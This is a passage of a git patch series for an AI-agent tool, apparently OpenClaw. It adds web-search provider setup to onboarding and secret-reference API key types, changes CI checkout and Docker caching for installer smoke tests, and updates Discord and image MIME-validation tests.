result; + } + return { + ...result, + tools: { + ...result.tools, + web: { ...result.tools?.web, search: { ...result.tools?.web?.search, enabled: false } }, + }, + }; +} + +export type SetupSearchOptions = { + quickstartDefaults?: boolean; + secretInputMode?: SecretInputMode; +}; + +export async function setupSearch( + config: OpenClawConfig, + _runtime: RuntimeEnv, + prompter: WizardPrompter, + opts?: SetupSearchOptions, +): Promise { + await prompter.note( + [ + "Web search lets your agent look things up online.", + "Choose a provider and paste your API key.", + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + + const existingProvider = config.tools?.web?.search?.provider; + + const options = SEARCH_PROVIDER_OPTIONS.map((entry) => { + const configured = hasExistingKey(config, entry.value) || hasKeyInEnv(entry); + const hint = configured ? `${entry.hint} · configured` : entry.hint; + return { value: entry.value, label: entry.label, hint }; + }); + + const defaultProvider: SearchProvider = (() => { + if (existingProvider && SEARCH_PROVIDER_OPTIONS.some((e) => e.value === existingProvider)) { + return existingProvider; + } + const detected = SEARCH_PROVIDER_OPTIONS.find( + (e) => hasExistingKey(config, e.value) || hasKeyInEnv(e), + ); + if (detected) { + return detected.value; + } + return "perplexity"; + })(); + + type PickerValue = SearchProvider | "__skip__"; + const choice = await prompter.select({ + message: "Search provider", + options: [ + ...options, + { + value: "__skip__" as const, + label: "Skip for now", + hint: "Configure later with openclaw configure --section web", + }, + ], + initialValue: defaultProvider as PickerValue, + }); + + if (choice === "__skip__") { + return config; + } + + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === choice)!; + const existingKey = resolveExistingKey(config, choice); + const keyConfigured = hasExistingKey(config, choice); + const envAvailable = hasKeyInEnv(entry); + + if (opts?.quickstartDefaults && (keyConfigured || envAvailable)) { + const result = existingKey + ? applySearchKey(config, choice, existingKey) + : applyProviderOnly(config, choice); + return preserveDisabledState(config, result); + } + + if (opts?.secretInputMode === "ref") { + if (keyConfigured) { + return preserveDisabledState(config, applyProviderOnly(config, choice)); + } + const ref = buildSearchEnvRef(choice); + await prompter.note( + [ + "Secret references enabled — OpenClaw will store a reference instead of the API key.", + `Env var: ${ref.id}${envAvailable ? " (detected)" : ""}.`, + ...(envAvailable ? [] : [`Set ${ref.id} in the Gateway environment.`]), + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + return applySearchKey(config, choice, ref); + } + + const keyInput = await prompter.text({ + message: keyConfigured + ? `${entry.label} API key (leave blank to keep current)` + : envAvailable + ? `${entry.label} API key (leave blank to use env var)` + : `${entry.label} API key`, + placeholder: keyConfigured ? "Leave blank to keep current" : entry.placeholder, + }); + + const key = keyInput?.trim() ?? ""; + if (key) { + const secretInput = resolveSearchSecretInput(choice, key, opts?.secretInputMode); + return applySearchKey(config, choice, secretInput); + } + + if (existingKey) { + return preserveDisabledState(config, applySearchKey(config, choice, existingKey)); + } + + if (keyConfigured || envAvailable) { + return preserveDisabledState(config, applyProviderOnly(config, choice)); + } + + await prompter.note( + [ + "No API key stored — web_search won't work until a key is available.", + `Get your key at: ${entry.signupUrl}`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + + return { + ...config, + tools: { + ...config.tools, + web: { + ...config.tools?.web, + search: { + ...config.tools?.web?.search, + provider: choice, + }, + }, + }, + }; +} diff --git a/src/commands/onboard-types.ts b/src/commands/onboard-types.ts index fcb823f96b8..9e664b9a66d 100644 --- a/src/commands/onboard-types.ts +++ b/src/commands/onboard-types.ts @@ -154,6 +154,7 @@ export type OnboardOptions = { /** @deprecated Legacy alias for `skipChannels`. */ skipProviders?: boolean; skipSkills?: boolean; + skipSearch?: boolean; skipHealth?: boolean; skipUi?: boolean; nodeManager?: NodeManagerChoice; diff --git a/src/config/config.web-search-provider.test.ts b/src/config/config.web-search-provider.test.ts index 5029a7e9476..5bb57d2ab93 100644 --- a/src/config/config.web-search-provider.test.ts +++ b/src/config/config.web-search-provider.test.ts @@ -70,8 +70,8 @@ describe("web search provider auto-detection", () => { vi.restoreAllMocks(); }); - it("falls back to brave when no keys available", () => { - expect(resolveSearchProvider({})).toBe("brave"); + it("falls back to perplexity when no keys available", () => { + expect(resolveSearchProvider({})).toBe("perplexity"); }); it("auto-detects brave when only BRAVE_API_KEY is set", () => { @@ -109,19 +109,21 @@ describe("web search provider auto-detection", () => { expect(resolveSearchProvider({})).toBe("kimi"); }); - it("follows priority order — brave wins when multiple keys available", () => { + it("follows priority order — perplexity wins when multiple keys available", () => { + process.env.PERPLEXITY_API_KEY = "test-perplexity-key"; + process.env.BRAVE_API_KEY = "test-brave-key"; + process.env.GEMINI_API_KEY = "test-gemini-key"; + process.env.XAI_API_KEY = "test-xai-key"; + expect(resolveSearchProvider({})).toBe("perplexity"); + }); + + it("brave wins over gemini and grok when perplexity unavailable", () => { process.env.BRAVE_API_KEY = "test-brave-key"; process.env.GEMINI_API_KEY = "test-gemini-key"; process.env.XAI_API_KEY = "test-xai-key"; expect(resolveSearchProvider({})).toBe("brave"); }); - it("gemini wins over perplexity and grok when brave unavailable", () => { - process.env.GEMINI_API_KEY = "test-gemini-key"; - process.env.PERPLEXITY_API_KEY = "test-perplexity-key"; - expect(resolveSearchProvider({})).toBe("gemini"); - }); - it("explicit provider always wins regardless of keys", () => { process.env.BRAVE_API_KEY = "test-brave-key"; expect( diff --git a/src/config/types.tools.ts b/src/config/types.tools.ts index c18f9a375fe..5c8152f0e59 100644 --- a/src/config/types.tools.ts +++ b/src/config/types.tools.ts @@ -444,7 +444,7 @@ export type ToolsConfig = { /** Search provider ("brave", "perplexity", "grok", "gemini", or "kimi"). */ provider?: "brave" | "perplexity" | "grok" | "gemini" | "kimi"; /** Brave Search API key (optional; defaults to BRAVE_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Default search results count (1-10). */ maxResults?: number; /** Timeout in seconds for search requests. */ @@ -454,7 +454,7 @@ export type ToolsConfig = { /** Perplexity-specific configuration (used when provider="perplexity"). */ perplexity?: { /** API key for Perplexity (defaults to PERPLEXITY_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** @deprecated Legacy Sonar/OpenRouter field. Ignored by Search API. */ baseUrl?: string; /** @deprecated Legacy Sonar/OpenRouter field. Ignored by Search API. */ @@ -463,7 +463,7 @@ export type ToolsConfig = { /** Grok-specific configuration (used when provider="grok"). */ grok?: { /** API key for xAI (defaults to XAI_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Model to use (defaults to "grok-4-1-fast"). */ model?: string; /** Include inline citations in response text as markdown links (default: false). */ @@ -472,14 +472,14 @@ export type ToolsConfig = { /** Gemini-specific configuration (used when provider="gemini"). */ gemini?: { /** Gemini API key (defaults to GEMINI_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Model to use for grounded search (defaults to "gemini-2.5-flash"). */ model?: string; }; /** Kimi-specific configuration (used when provider="kimi"). */ kimi?: { /** Moonshot/Kimi API key (defaults to KIMI_API_KEY or MOONSHOT_API_KEY env var). */ - apiKey?: string; + apiKey?: SecretInput; /** Base URL for API requests (defaults to "https://api.moonshot.ai/v1"). */ baseUrl?: string; /** Model to use (defaults to "moonshot-v1-128k"). */ diff --git a/src/wizard/onboarding.finalize.ts b/src/wizard/onboarding.finalize.ts index 62f452de39e..fc442389132 100644 --- a/src/wizard/onboarding.finalize.ts +++ b/src/wizard/onboarding.finalize.ts @@ -472,39 +472,86 @@ export async function finalizeOnboardingWizard( ); } - const webSearchProvider = nextConfig.tools?.web?.search?.provider ?? "brave"; - const webSearchKey = - webSearchProvider === "perplexity" - ? (nextConfig.tools?.web?.search?.perplexity?.apiKey ?? "").trim() - : (nextConfig.tools?.web?.search?.apiKey ?? "").trim(); - const webSearchEnv = - webSearchProvider === "perplexity" - ? (process.env.PERPLEXITY_API_KEY ?? "").trim() - : (process.env.BRAVE_API_KEY ?? "").trim(); - const hasWebSearchKey = Boolean(webSearchKey || webSearchEnv); - await prompter.note( - hasWebSearchKey - ? [ + const webSearchProvider = nextConfig.tools?.web?.search?.provider; + const webSearchEnabled = nextConfig.tools?.web?.search?.enabled; + if (webSearchProvider) { + const { SEARCH_PROVIDER_OPTIONS, resolveExistingKey, hasExistingKey, hasKeyInEnv } = + await import("../commands/onboard-search.js"); + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === webSearchProvider); + const label = entry?.label ?? webSearchProvider; + const storedKey = resolveExistingKey(nextConfig, webSearchProvider); + const keyConfigured = hasExistingKey(nextConfig, webSearchProvider); + const envAvailable = entry ? hasKeyInEnv(entry) : false; + const hasKey = keyConfigured || envAvailable; + const keySource = storedKey + ? "API key: stored in config." + : keyConfigured + ? "API key: configured via secret reference." + : envAvailable + ? `API key: provided via ${entry?.envKeys.join(" / ")} env var.` + : undefined; + if (webSearchEnabled !== false && hasKey) { + await prompter.note( + [ "Web search is enabled, so your agent can look things up online when needed.", "", - `Provider: ${webSearchProvider === "perplexity" ? "Perplexity Search" : "Brave Search"}`, - webSearchKey - ? `API key: stored in config (tools.web.search.${webSearchProvider === "perplexity" ? "perplexity.apiKey" : "apiKey"}).` - : `API key: provided via ${webSearchProvider === "perplexity" ? "PERPLEXITY_API_KEY" : "BRAVE_API_KEY"} env var (Gateway environment).`, - "Docs: https://docs.openclaw.ai/tools/web", - ].join("\n") - : [ - "To enable web search, your agent will need an API key for either Perplexity Search or Brave Search.", - "", - "Set it up interactively:", - `- Run: ${formatCliCommand("openclaw configure --section web")}`, - "- Choose a provider and paste your API key", - "", - "Alternative: set PERPLEXITY_API_KEY or BRAVE_API_KEY in the Gateway environment (no config changes).", + `Provider: ${label}`, + ...(keySource ? [keySource] : []), "Docs: https://docs.openclaw.ai/tools/web", ].join("\n"), - "Web search (optional)", - ); + "Web search", + ); + } else if (!hasKey) { + await prompter.note( + [ + `Provider ${label} is selected but no API key was found.`, + "web_search will not work until a key is added.", + ` ${formatCliCommand("openclaw configure --section web")}`, + "", + `Get your key at: ${entry?.signupUrl ?? "https://docs.openclaw.ai/tools/web"}`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } else { + await prompter.note( + [ + `Web search (${label}) is configured but disabled.`, + `Re-enable: ${formatCliCommand("openclaw configure --section web")}`, + "", + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } + } else { + // Legacy configs may have a working key (e.g. apiKey or BRAVE_API_KEY) without + // an explicit provider. Runtime auto-detects these, so avoid saying "skipped". + const { SEARCH_PROVIDER_OPTIONS, hasExistingKey, hasKeyInEnv } = + await import("../commands/onboard-search.js"); + const legacyDetected = SEARCH_PROVIDER_OPTIONS.find( + (e) => hasExistingKey(nextConfig, e.value) || hasKeyInEnv(e), + ); + if (legacyDetected) { + await prompter.note( + [ + `Web search is available via ${legacyDetected.label} (auto-detected).`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } else { + await prompter.note( + [ + "Web search was skipped. You can enable it later:", + ` ${formatCliCommand("openclaw configure --section web")}`, + "", + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + } + } await prompter.note( 'What now: https://openclaw.ai/showcase ("What People Are Building").', diff --git a/src/wizard/onboarding.test.ts b/src/wizard/onboarding.test.ts index 91d761ca569..ecc9c47060e 100644 --- a/src/wizard/onboarding.test.ts +++ b/src/wizard/onboarding.test.ts @@ -31,8 +31,8 @@ const configureGatewayForOnboarding = vi.hoisted(() => ); const finalizeOnboardingWizard = vi.hoisted(() => vi.fn(async (options) => { - if (!process.env.BRAVE_API_KEY) { - await options.prompter.note("hint", "Web search (optional)"); + if (!options.nextConfig?.tools?.web?.search?.provider) { + await options.prompter.note("Web search was skipped.", "Web search"); } if (options.opts.skipUi) { @@ -263,6 +263,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -291,6 +292,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -335,6 +337,7 @@ describe("runOnboardingWizard", () => { authChoice: "skip", skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, installDaemon: false, }, @@ -375,6 +378,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -384,7 +388,7 @@ describe("runOnboardingWizard", () => { const calls = (note as unknown as { mock: { calls: unknown[][] } }).mock.calls; expect(calls.length).toBeGreaterThan(0); - expect(calls.some((call) => call?.[1] === "Web search (optional)")).toBe(true); + expect(calls.some((call) => call?.[1] === "Web search")).toBe(true); } finally { if (prevBraveKey === undefined) { delete process.env.BRAVE_API_KEY; @@ -440,6 +444,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, }, @@ -476,6 +481,7 @@ describe("runOnboardingWizard", () => { installDaemon: false, skipProviders: true, skipSkills: true, + skipSearch: true, skipHealth: true, skipUi: true, secretInputMode: "ref", diff --git a/src/wizard/onboarding.ts b/src/wizard/onboarding.ts index 923bc5d7dfb..e2a81537eb7 100644 --- a/src/wizard/onboarding.ts +++ b/src/wizard/onboarding.ts @@ -512,6 +512,16 @@ export async function runOnboardingWizard( skipBootstrap: Boolean(nextConfig.agents?.defaults?.skipBootstrap), }); + if (opts.skipSearch) { + await prompter.note("Skipping search setup.", "Search"); + } else { + const { setupSearch } = await import("../commands/onboard-search.js"); + nextConfig = await setupSearch(nextConfig, runtime, prompter, { + quickstartDefaults: flow === "quickstart", + secretInputMode: opts.secretInputMode, + }); + } + if (opts.skipSkills) { await prompter.note("Skipping skills setup.", "Skills"); } else { From 067ec4f0f9d5c529f4615151d73b87e99d7038f7 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:15:06 -0500 Subject: [PATCH 044/844] CI: shallow scope checkouts --- .github/workflows/ci.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 9aa81b81306..199c6a8b1b5 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -21,7 +21,8 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 0 + fetch-depth: 50 + fetch-tags: false submodules: false - name: Detect docs-only changes @@ -45,7 +46,8 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 0 + fetch-depth: 50 + fetch-tags: false submodules: false - name: Detect changed scopes From afdbc472a4727994091421497f65b8eb6666a537 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:15:10 -0500 Subject: [PATCH 045/844] Install Smoke: shallow docs-scope checkout --- .github/workflows/install-smoke.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 682c240a1cf..d592e00a192 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -19,7 +19,8 @@ jobs: - name: Checkout uses: actions/checkout@v4 with: - fetch-depth: 0 + fetch-depth: 50 + fetch-tags: false - name: Detect docs-only changes id: check From 60d20f9dafc133c4f7b981d08465f637dd7c98b2 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:23:00 -0500 Subject: [PATCH 046/844] Install Smoke: allow reusing prebuilt test images --- scripts/test-install-sh-docker.sh | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/scripts/test-install-sh-docker.sh b/scripts/test-install-sh-docker.sh index daed714c8fe..f2195be60f8 100755 --- a/scripts/test-install-sh-docker.sh +++ b/scripts/test-install-sh-docker.sh @@ -7,14 +7,20 @@ NONROOT_IMAGE="${OPENCLAW_INSTALL_NONROOT_IMAGE:-${CLAWDBOT_INSTALL_NONROOT_IMAG INSTALL_URL="${OPENCLAW_INSTALL_URL:-${CLAWDBOT_INSTALL_URL:-https://openclaw.bot/install.sh}}" CLI_INSTALL_URL="${OPENCLAW_INSTALL_CLI_URL:-${CLAWDBOT_INSTALL_CLI_URL:-https://openclaw.bot/install-cli.sh}}" SKIP_NONROOT="${OPENCLAW_INSTALL_SMOKE_SKIP_NONROOT:-${CLAWDBOT_INSTALL_SMOKE_SKIP_NONROOT:-0}}" +SKIP_SMOKE_IMAGE_BUILD="${OPENCLAW_INSTALL_SMOKE_SKIP_IMAGE_BUILD:-${CLAWDBOT_INSTALL_SMOKE_SKIP_IMAGE_BUILD:-0}}" +SKIP_NONROOT_IMAGE_BUILD="${OPENCLAW_INSTALL_NONROOT_SKIP_IMAGE_BUILD:-${CLAWDBOT_INSTALL_NONROOT_SKIP_IMAGE_BUILD:-0}}" LATEST_DIR="$(mktemp -d)" LATEST_FILE="${LATEST_DIR}/latest" -echo "==> Build smoke image (upgrade, root): $SMOKE_IMAGE" -docker build \ - -t "$SMOKE_IMAGE" \ - -f "$ROOT_DIR/scripts/docker/install-sh-smoke/Dockerfile" \ - "$ROOT_DIR/scripts/docker" +if [[ "$SKIP_SMOKE_IMAGE_BUILD" == "1" ]]; then + echo "==> Reuse prebuilt smoke image: $SMOKE_IMAGE" +else + echo "==> Build smoke image (upgrade, root): $SMOKE_IMAGE" + docker build \ + -t "$SMOKE_IMAGE" \ + -f "$ROOT_DIR/scripts/docker/install-sh-smoke/Dockerfile" \ + "$ROOT_DIR/scripts/docker" +fi echo "==> Run installer smoke test (root): $INSTALL_URL" docker run --rm -t \ @@ -36,11 +42,15 @@ fi if [[ "$SKIP_NONROOT" == "1" ]]; then echo "==> Skip non-root installer smoke (OPENCLAW_INSTALL_SMOKE_SKIP_NONROOT=1)" else - echo "==> Build non-root image: $NONROOT_IMAGE" - docker build \ - -t "$NONROOT_IMAGE" \ - -f "$ROOT_DIR/scripts/docker/install-sh-nonroot/Dockerfile" \ - "$ROOT_DIR/scripts/docker" + if [[ "$SKIP_NONROOT_IMAGE_BUILD" == "1" ]]; then + echo "==> Reuse prebuilt non-root image: $NONROOT_IMAGE" + else + echo "==> Build non-root image: $NONROOT_IMAGE" + docker build \ + -t "$NONROOT_IMAGE" \ + -f "$ROOT_DIR/scripts/docker/install-sh-nonroot/Dockerfile" \ + "$ROOT_DIR/scripts/docker" + fi echo "==> Run installer non-root test: $INSTALL_URL" docker run --rm -t \ From 5e05a9cb79685f5aa528b1748505019a2d0bced7 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:23:04 -0500 Subject: [PATCH 047/844] Install Smoke: cache docker smoke builds --- .github/workflows/install-smoke.yml | 57 +++++++++++++++++++++++++++-- 1 file changed, 53 insertions(+), 4 deletions(-) diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index d592e00a192..9dc5d1fb460 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -37,27 +37,76 @@ jobs: - name: Set up Docker Builder uses: useblacksmith/setup-docker-builder@v1 + - name: Build root Dockerfile smoke image + uses: useblacksmith/build-push-action@v2 + with: + context: . + file: ./Dockerfile + tags: openclaw-dockerfile-smoke:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-root-dockerfile + cache-to: type=gha,mode=max,scope=install-smoke-root-dockerfile + - name: Run root Dockerfile CLI smoke run: | - docker build -t openclaw-dockerfile-smoke:local -f Dockerfile . docker run --rm --entrypoint sh openclaw-dockerfile-smoke:local -lc 'which openclaw && openclaw --version' # This smoke only validates that the build-arg path preinstalls selected # extension deps without breaking image build or basic CLI startup. It # does not exercise runtime loading/registration of diagnostics-otel. + - name: Build extension Dockerfile smoke image + uses: useblacksmith/build-push-action@v2 + with: + context: . + file: ./Dockerfile + build-args: | + OPENCLAW_EXTENSIONS=diagnostics-otel + tags: openclaw-ext-smoke:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-root-dockerfile-ext + cache-to: type=gha,mode=max,scope=install-smoke-root-dockerfile-ext + - name: Smoke test Dockerfile with extension build arg run: | - docker build \ - --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel" \ - -t openclaw-ext-smoke:local -f Dockerfile . docker run --rm --entrypoint sh openclaw-ext-smoke:local -lc 'which openclaw && openclaw --version' + - name: Build installer smoke image + uses: useblacksmith/build-push-action@v2 + with: + context: ./scripts/docker + file: ./scripts/docker/install-sh-smoke/Dockerfile + tags: openclaw-install-smoke:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-installer-root + cache-to: type=gha,mode=max,scope=install-smoke-installer-root + + - name: Build installer non-root image + if: github.event_name != 'pull_request' + uses: useblacksmith/build-push-action@v2 + with: + context: ./scripts/docker + file: ./scripts/docker/install-sh-nonroot/Dockerfile + tags: openclaw-install-nonroot:local + load: true + push: false + provenance: false + cache-from: type=gha,scope=install-smoke-installer-nonroot + cache-to: type=gha,mode=max,scope=install-smoke-installer-nonroot + - name: Run installer docker tests env: CLAWDBOT_INSTALL_URL: https://openclaw.ai/install.sh CLAWDBOT_INSTALL_CLI_URL: https://openclaw.ai/install-cli.sh CLAWDBOT_NO_ONBOARD: "1" CLAWDBOT_INSTALL_SMOKE_SKIP_CLI: "1" + CLAWDBOT_INSTALL_SMOKE_SKIP_IMAGE_BUILD: "1" + CLAWDBOT_INSTALL_NONROOT_SKIP_IMAGE_BUILD: ${{ github.event_name == 'pull_request' && '0' || '1' }} CLAWDBOT_INSTALL_SMOKE_SKIP_NONROOT: ${{ github.event_name == 'pull_request' && '1' || '0' }} CLAWDBOT_INSTALL_SMOKE_SKIP_PREVIOUS: "1" run: bash scripts/test-install-sh-docker.sh From 38f46e80b07269b54425f372970bf87821b591c7 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:27:02 -0500 Subject: [PATCH 048/844] chore: code/dead tests cleanup (#38286) * Discord: assert bot-self filter queue guard * Tests: remove dead gateway SIGTERM placeholder --- src/cli/gateway.sigterm.test.ts | 8 -- .../message-handler.bot-self-filter.test.ts | 92 +++++++++++++++---- 2 files changed, 74 insertions(+), 26 deletions(-) delete mode 100644 src/cli/gateway.sigterm.test.ts diff --git a/src/cli/gateway.sigterm.test.ts b/src/cli/gateway.sigterm.test.ts deleted file mode 100644 index 6a4df1db75f..00000000000 --- a/src/cli/gateway.sigterm.test.ts +++ /dev/null @@ -1,8 +0,0 @@ -import { describe, it } from "vitest"; - -describe("gateway SIGTERM", () => { - it.skip("covered by runGatewayLoop signal tests in src/cli/gateway-cli/run-loop.test.ts", () => { - // Kept as a placeholder to document why the old child-process integration - // case was retired: it duplicated run-loop signal coverage at high runtime cost. - }); -}); diff --git a/src/discord/monitor/message-handler.bot-self-filter.test.ts b/src/discord/monitor/message-handler.bot-self-filter.test.ts index b3442f89618..7f5b2276987 100644 --- a/src/discord/monitor/message-handler.bot-self-filter.test.ts +++ b/src/discord/monitor/message-handler.bot-self-filter.test.ts @@ -1,8 +1,20 @@ -import { describe, it, vi } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/types.js"; -import { createDiscordMessageHandler } from "./message-handler.js"; import { createNoopThreadBindingManager } from "./thread-bindings.js"; +const preflightDiscordMessageMock = vi.hoisted(() => vi.fn()); +const processDiscordMessageMock = vi.hoisted(() => vi.fn()); + +vi.mock("./message-handler.preflight.js", () => ({ + preflightDiscordMessage: preflightDiscordMessageMock, +})); + +vi.mock("./message-handler.process.js", () => ({ + processDiscordMessage: processDiscordMessageMock, +})); + +const { createDiscordMessageHandler } = await import("./message-handler.js"); + const BOT_USER_ID = "bot-123"; function createHandlerParams(overrides?: Partial<{ botUserId: string }>) { @@ -14,6 +26,11 @@ function createHandlerParams(overrides?: Partial<{ botUserId: string }>) { groupPolicy: "allowlist", }, }, + messages: { + inbound: { + debounceMs: 0, + }, + }, }; return { cfg, @@ -39,35 +56,74 @@ function createHandlerParams(overrides?: Partial<{ botUserId: string }>) { }; } -function createMessageData(authorId: string) { +function createMessageData(authorId: string, channelId = "ch-1") { return { + author: { id: authorId, bot: authorId === BOT_USER_ID }, message: { id: "msg-1", author: { id: authorId, bot: authorId === BOT_USER_ID }, content: "hello", - channel_id: "ch-1", + channel_id: channelId, }, - channel_id: "ch-1", + channel_id: channelId, + }; +} + +function createPreflightContext(channelId = "ch-1") { + return { + data: { + channel_id: channelId, + message: { + id: `msg-${channelId}`, + channel_id: channelId, + attachments: [], + }, + }, + message: { + id: `msg-${channelId}`, + channel_id: channelId, + attachments: [], + }, + route: { + sessionKey: `agent:main:discord:channel:${channelId}`, + }, + baseSessionKey: `agent:main:discord:channel:${channelId}`, + messageChannelId: channelId, }; } describe("createDiscordMessageHandler bot-self filter", () => { - it("skips bot-own messages before debouncer", async () => { + it("skips bot-own messages before the debounce queue", async () => { + preflightDiscordMessageMock.mockReset(); + processDiscordMessageMock.mockReset(); + const handler = createDiscordMessageHandler(createHandlerParams()); - await handler(createMessageData(BOT_USER_ID) as never, {} as never); + + await expect( + handler(createMessageData(BOT_USER_ID) as never, {} as never), + ).resolves.toBeUndefined(); + + expect(preflightDiscordMessageMock).not.toHaveBeenCalled(); + expect(processDiscordMessageMock).not.toHaveBeenCalled(); }); - it("processes messages from other users", async () => { + it("enqueues non-bot messages for processing", async () => { + preflightDiscordMessageMock.mockReset(); + processDiscordMessageMock.mockReset(); + preflightDiscordMessageMock.mockImplementation( + async (params: { data: { channel_id: string } }) => + createPreflightContext(params.data.channel_id), + ); + const handler = createDiscordMessageHandler(createHandlerParams()); - try { - await handler( - createMessageData("user-456") as never, - { - fetchChannel: vi.fn().mockResolvedValue(null), - } as never, - ); - } catch { - // Expected: pipeline fails without full mock, but it passed the filter. - } + + await expect( + handler(createMessageData("user-456") as never, {} as never), + ).resolves.toBeUndefined(); + + await vi.waitFor(() => { + expect(preflightDiscordMessageMock).toHaveBeenCalledTimes(1); + expect(processDiscordMessageMock).toHaveBeenCalledTimes(1); + }); }); }); From 084dfd2ecc0e26f9e2c1ef86ed216c7ac9e99703 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 14:34:28 -0500 Subject: [PATCH 049/844] Media: reject spoofed input_image MIME payloads (#38289) * Media: reject spoofed input image MIME types * Media: cover spoofed input image MIME regressions * Changelog: note input image MIME hardening --- CHANGELOG.md | 1 + src/media/input-files.fetch-guard.test.ts | 59 ++++++++++++++++++++++- src/media/input-files.ts | 16 ++++-- 3 files changed, 69 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 86f6e09fe89..9b8cb0cde4b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -234,6 +234,7 @@ Docs: https://docs.openclaw.ai - Plugin runtime/events: expose `runtime.events.onAgentEvent` and `runtime.events.onSessionTranscriptUpdate` for extension-side subscriptions, and isolate transcript-listener failures so one faulty listener cannot break the entire update fanout. (#16044) Thanks @scifantastic. - CLI/Banner taglines: add `cli.banner.taglineMode` (`random` | `default` | `off`) to control funny tagline behavior in startup output, with docs + FAQ guidance and regression tests for config override behavior. - Agents/compaction safeguard quality-audit rollout: keep summary quality audits disabled by default unless `agents.defaults.compaction.qualityGuard` is explicitly enabled, and add config plumbing for bounded retry control. (#25556) thanks @rodrigouroz. +- Gateway/input_image MIME validation: sniff uploaded image bytes before MIME allowlist enforcement again so declared image types cannot mask concrete non-image payloads, while keeping HEIC/HEIF normalization behavior scoped to actual HEIC inputs. Thanks @vincentkoc. ### Breaking diff --git a/src/media/input-files.fetch-guard.test.ts b/src/media/input-files.fetch-guard.test.ts index 05d59d37e76..377bbf78fa9 100644 --- a/src/media/input-files.fetch-guard.test.ts +++ b/src/media/input-files.fetch-guard.test.ts @@ -99,7 +99,9 @@ describe("HEIC input image normalization", () => { expect(release).toHaveBeenCalledTimes(1); }); - it("keeps declared MIME for non-HEIC images without sniffing", async () => { + it("keeps declared MIME for non-HEIC images after validation", async () => { + detectMimeMock.mockResolvedValueOnce("image/png"); + const image = await extractImageContentFromSource( { type: "base64", @@ -115,7 +117,7 @@ describe("HEIC input image normalization", () => { }, ); - expect(detectMimeMock).not.toHaveBeenCalled(); + expect(detectMimeMock).toHaveBeenCalledTimes(1); expect(convertHeicToJpegMock).not.toHaveBeenCalled(); expect(image).toEqual({ type: "image", @@ -123,6 +125,59 @@ describe("HEIC input image normalization", () => { mimeType: "image/png", }); }); + + it("rejects spoofed base64 images when detected bytes are not an image", async () => { + detectMimeMock.mockResolvedValueOnce("application/pdf"); + + await expect( + extractImageContentFromSource( + { + type: "base64", + data: Buffer.from("%PDF-1.4\n").toString("base64"), + mediaType: "image/png", + }, + { + allowUrl: false, + allowedMimes: new Set(["image/png", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1, + }, + ), + ).rejects.toThrow("Unsupported image MIME type: application/pdf"); + expect(convertHeicToJpegMock).not.toHaveBeenCalled(); + }); + + it("rejects spoofed URL images when detected bytes are not an image", async () => { + const release = vi.fn(async () => {}); + fetchWithSsrFGuardMock.mockResolvedValueOnce({ + response: new Response(Buffer.from("%PDF-1.4\n"), { + status: 200, + headers: { "content-type": "image/png" }, + }), + release, + finalUrl: "https://example.com/photo.png", + }); + detectMimeMock.mockResolvedValueOnce("application/pdf"); + + await expect( + extractImageContentFromSource( + { + type: "url", + url: "https://example.com/photo.png", + }, + { + allowUrl: true, + allowedMimes: new Set(["image/png", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1000, + }, + ), + 